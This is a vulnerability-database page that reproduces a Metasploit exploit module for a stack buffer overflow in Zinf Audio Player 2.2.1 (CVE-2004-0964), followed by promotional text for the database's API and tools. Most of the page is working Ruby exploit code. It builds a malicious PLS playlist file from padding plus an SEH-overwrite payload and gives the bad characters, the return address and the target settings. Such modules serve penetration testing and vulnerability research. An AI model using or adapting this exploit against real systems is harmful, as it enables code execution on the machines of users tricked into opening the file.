Lucene search
K

Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow

🗓️ 29 Apr 2009 03:45:37Reported by Trancek <[email protected]>, aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 27 Views

Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow exploit for Zinf Audio Player 2.2.1. An attacker must send the file to victim and the victim must open the file. It may be possible to execute code remotely via an embedded PLS file within a browser, when the PLS extension is registered to Zinf

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in the Zinf Audio Player 2.2.1.
        An attacker must send the file to victim and the victim must open the file.
        Alternatively it may be possible to execute code remotely via an embedded
        PLS file within a browser, when the PLS extension is registered to Zinf.
        This functionality has not been tested in this module.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'aushack' ],
      'References'     =>
        [
          [ 'CVE', '2004-0964' ],
          [ 'OSVDB', '10416' ],
          [ 'EDB', '7888' ],
          [ 'BID', '11248' ],
        ],
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
          'StackAdjustment' => -3500,
        },
      'DefaultOptions' =>
        {
          'AllowWin32SEH' => true
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          # Tested by patrick - 20090429 xpsp3
          [ 'Zinf Universal 2.2.1', { 'Ret' => 0x1204f514 } ], #pop esi; pop ebx; ret - ./Plugins/zinf.ui
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2004-09-24',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'exploit_zinf.pls']),
      ])

  end

  def exploit
    seh = generate_seh_payload(target.ret)
    filepls = rand_text_alpha_upper(1424) + seh

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(filepls)

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation